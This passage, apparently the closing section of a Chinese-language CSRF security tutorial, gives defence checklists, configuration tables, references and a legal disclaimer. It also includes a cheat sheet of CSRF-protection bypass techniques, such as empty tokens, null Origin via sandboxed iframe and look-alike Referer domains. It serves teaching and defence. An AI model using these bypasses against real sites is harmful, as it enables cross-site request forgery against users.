| 3 | Token使用安全随机数生成(至少128位熵) | – | 高 |
| 4 | 服务端严格验证Token(恒定时间比较) | – | 高 |
| 5 | Token设置合理过期时间 | – | 中 |
| 6 | Cookie设置SameSite=Lax或Strict | – | 高 |
| 7 | 敏感操作验证Origin/Referer头 | – | 中 |
| 8 | API接口要求自定义请求头 | – | 中 |
| 9 | 高危操作使用CAPTCHA二次验证 | – | 低 |
| 10 | crossdomain.xml配置严格白名单 | – | 中 |
| 11 | CORS不使用通配符+credentials | – | 高 |
| 12 | 定期审计第三方集成和子域信任 | – | 中 |
13.2 绕过技术速查表
| CSRF Token | 删除Token/空值绕过 | 服务端空值跳过 |
| CSRF Token | Token复用 | Token不过期 |
| CSRF Token | XSS窃取Token | 存在XSS漏洞 |
| Referer验证 | 空Referer | 配置允许空值 |
| Referer验证 | 子字符串匹配 | 注册含关键词域名 |
| SameSite=Lax | 顶层GET导航 | GET型敏感操作 |
| SameSite=Lax | 子域信任 | Cookie Domain=父域 |
| Origin验证 | null Origin | iframe sandbox |
| CORS限制 | 通配符+credentials | CORS配置缺陷 |
| 自定义头 | 无(无法绕过) | 浏览器强制跨域预检 |
13.3 防御配置速查表
| Cookie层 | SameSite | Lax/Strict | 阻止大部分跨站Cookie |
| Cookie层 | Secure | true | 仅HTTPS传输 |
| Cookie层 | HttpOnly | true | 防XSS窃取 |
| 请求层 | CSRF Token | 128位随机 | 核心防御 |
| 请求层 | Origin验证 | 白名单匹配 | 辅助防御 |
| 请求层 | 自定义头 | X-Requested-With | 阻止跨域简单请求 |
| 应用层 | 方法限制 | POST/PUT/DELETE | 禁用GET操作 |
| 应用层 | CAPTCHA | 高危操作触发 | 最终防线 |
| WAF层 | Referer规则 | 白名单 | 流量层防护 |
| WAF层 | 速率限制 | 10次/分钟 | 防蠕虫传播 |
| 架构层 | 子域隔离 | 独立Cookie域 | 减少信任范围 |
| 架构层 | CORS策略 | 精确白名单 | 防跨域滥用 |
13.4 参考资源
| OWASP CSRF Prevention Cheat Sheet | 官方指南 | OWASP CSRF防御最佳实践 |
| OWASP Testing Guide v4.2 | 测试指南 | CSRF测试方法论 |
| PortSwigger Web Security Academy | 在线靶场 | CSRF实战练习 |
| DVWA | 靶场 | 经典Web漏洞靶场 |
| WebGoat | 靶场 | OWASP官方教学靶场 |
| Burp Suite Documentation | 工具文档 | CSRF POC生成器使用 |
| RFC 6265bis | 标准 | Cookie规范(含SameSite) |
| MDN SameSite Cookie | 文档 | 浏览器SameSite实现 |
| CWE-352 | 漏洞库 | CSRF CWE分类 |
| CAPEC-62 | 攻击模式 | CSRF攻击模式描述 |
13.5 合规声明
【提示】 本文涉及的所有CSRF攻击技术、PoC代码、绕过方法、蠕虫框架等内容,仅用于授权安全测试、网络安全教学和防御研究目的。在实际工作中,请严格遵守以下要求:第一,仅对已获得书面授权的系统进行安全测试;第二,不得在公网部署任何CSRF攻击页面或蠕虫载荷;第三,所有测试数据应使用靶场环境,不得影响真实用户;第四,发现的CSRF漏洞应通过负责任的漏洞披露流程报告给相关方。违反《中华人民共和国网络安全法》第二十七条关于非法侵入他人网络、干扰他人网络正常功能、窃取网络数据等规定的行为,将承担相应法律责任。安全研究的最终目的是提升系统防护能力,请始终在法律和道德框架内开展工作。


